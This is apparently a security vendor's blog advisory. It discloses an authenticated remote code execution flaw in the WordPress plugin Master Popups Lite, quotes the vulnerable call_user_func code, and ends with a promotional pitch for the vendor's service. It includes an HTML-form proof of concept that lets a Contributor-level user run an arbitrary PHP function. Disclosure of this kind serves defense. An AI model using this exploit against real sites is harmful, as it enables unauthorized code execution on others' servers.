06 May

Our Proactive Monitoring Caught an Authenticated Remote Code Execution (RCE) Vulnerability in the New Plugin Master Popups Lite

In a yet another of far too many instances this has happened, our proactive monitoring of changes made to WordPress plugins in the Plugin Directory to try to catch serious vulnerabilities has caught a brand new plugin being introduced with a vulnerability that seems like should have been caught through the security review that is supposed to happen new plugins are allowed in the Plugin Directory. This time it is an authenticated remote code execution (RCE) vulnerability in the plugin Master Popups Lite.

We have long offered to provide the team running the Plugin Directory help to have a capability similar to that monitoring. Running the plugin through our Plugin Security Checker would have warned about that as well. We have long offered the team running the Plugin Directory free access to the advanced mode of that tool for free. We haven’t heard any interest from that team to either of those offers.

After looking at the vulnerable code in the plugin we made further improvements to our detection of this type of vulnerability, so if you run plugins you use through the Plugin Security Checker it will be able to identify the possibility of more instances of this issue in those plugins.

Details

The plugin registers the function get_items_ajax() to be available through WordPress’ AJAX functionality whether someone is logged in to WordPress or not:

10
11
add_action( 'wp_ajax_xbox_get_items', array( $this, 'get_items_ajax' ) );
add_action( 'wp_ajax_nopriv_xbox_get_items', array( $this, 'get_items_ajax' ) );

It doesn’t appear though that those not logged in are intended to have access to it.

That function, which is located in the file /libs/xbox/includes/class-ajax.php, will first check for a valid nonce:

39
40
41
42
43
44
45
public function get_items_ajax(){
	if( ! isset( $_POST['ajax_nonce'] ) ) {
		die();
	}
	if( ! wp_verify_nonce( $_POST['ajax_nonce'], 'xbox_ajax_nonce' ) ){
		die();
	}

Users with the Contributor role and above have access to valid value for that.

The code then will pass user input to the function call_user_func(), which will then run a function specified by that user input:

46
47
48
49
50
51
52
53
54
	$response = array();
	$response['success'] = false;
	$function_name = sanitize_text_field( $_POST['function_name'] );
	if( empty( $_POST['class_name'] ) ){
		$items = call_user_func($function_name);
	} else{
		$class_name = stripslashes( $_POST['class_name'] );
		//$items = call_user_func("$class_name::$function_name");//También funciona
		$items = call_user_func( array( $class_name, $function_name ) );

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will cause the WordPress action/function do_feed_rss to run, when logged in as a Contributor.

Make sure to replace “[path to WordPress]” with the location of WordPress “[nonce]” with the value of “ajax_nonce” on the line of the source code of the page /wp-admin/edit.php?post_type=master-popups that begins “var XBOX_JS”.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=xbox_get_items" method="POST">
<input type="hidden" name="ajax_nonce" value="[nonce]" />
<input type="hidden" name="function_name" value="do_feed_rss" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *